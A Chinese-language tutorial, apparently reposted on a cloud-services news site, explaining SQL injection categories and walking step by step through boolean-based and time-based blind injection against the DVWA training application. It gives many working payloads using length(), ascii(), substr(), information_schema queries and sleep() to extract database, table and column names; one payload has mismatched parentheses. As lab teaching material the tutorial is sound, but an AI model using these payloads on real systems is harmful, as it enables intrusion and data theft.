SQL注入分类时间盲注和bool的盲注

国内目前仍然以中低端的IT需求为主,很多程序员(或者公司本身没有这方面的意识)在开发数据库和用户交互系统时没有对用户输入的字符串进行转义、过滤,处理得不够严谨,因此针对数据库漏洞的SQL注入是目前服务器网站存在的一种最简单也最受攻击者欢迎的攻击方式。

事实上,SQL注入受欢迎不仅因为简单易学,另一个原因是分类众多,SQL注入按照提交方式可分为POST型、GET型、HTTP型和Cookie型,按数据类型可分为字符型、数字型和搜索型,按执行效果可分为联合查询注入、报错注入、堆查询注入和盲注,其中盲注又可分为基于时间和基于bool的注入。

在知道查询语句的前提下,可以轻易辨别数据库是否存在注入及注入类型。很多时候可能攻击者并不知道查询语句是什么,因此还可以这样判断:

在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误则说明此页面存在SQL注入,假如页面正常显示就说明有字符被过滤或者不存在注入则可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。

 

SQL注入之基于bool的盲注

显然,盲注适合于不显示任何数据查询结果的界面,而基于bool的盲注分为页面正常和不正常两种情况。

通过true和false来猜解数据的速度比较慢,通常,基于bool的盲注会采用函数length(),返回长度、ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量。

点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1' and length(database())>5#,如图:

 

说明当前数据库长度是小于5的用二分法继续构造:1' and length(database())>3#;

 

从长度大于3却不大于5可推测出当前数据库名长度为4,然后判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定ASCII为100,对应字符为:d;

判断数据库名第二个字符ASCII是否大于97:1'and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;

判断当前数据库中数据表的个数:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了;

判断当前数据库中第一个数据表的长度是否大于5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图:

 

原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;

然后猜解当前数据库的第一个数据表的第一个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g;

然后猜解当前数据库的第一个数据表的第二个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u,

第三个,第四个字符以此类推直到猜解完毕;

猜解当前数据库中数据表users的列数:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同样,这个步骤也是可以省略的;

猜解当前数据库中数据表users的第一列的长度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,当大于0为假,说明此列不存在;

猜解当前数据库数据表users的第一列字段的第一个字符:1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然后依次猜解完全部字段。

 

 

 

基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。

猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:

猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;

然后猜解当前数据库中的第一个数据表的第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。

 

 

在了解SQL注入的方式时,同时也需要掌握SQL注入的一般步骤:

1、测试网页是否存在SQL注入

2、判断SQL注入类型

3、利用SQL语句查询数据库当前用户及数据库

4、利用SQL语句查询表名、列名、字段名以及字段值

版权申明:本站文章均来自网络,如有侵权,请联系01056159998 邮箱:itboby@foxmail.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

猜你还会喜欢下面的内容

    无相关信息

中国领先的互联网域名及云服务提供商

为您提供域名,比特币,P2P,大数据,云计算,虚拟主机,域名交易最新资讯报道

域名注册云服务器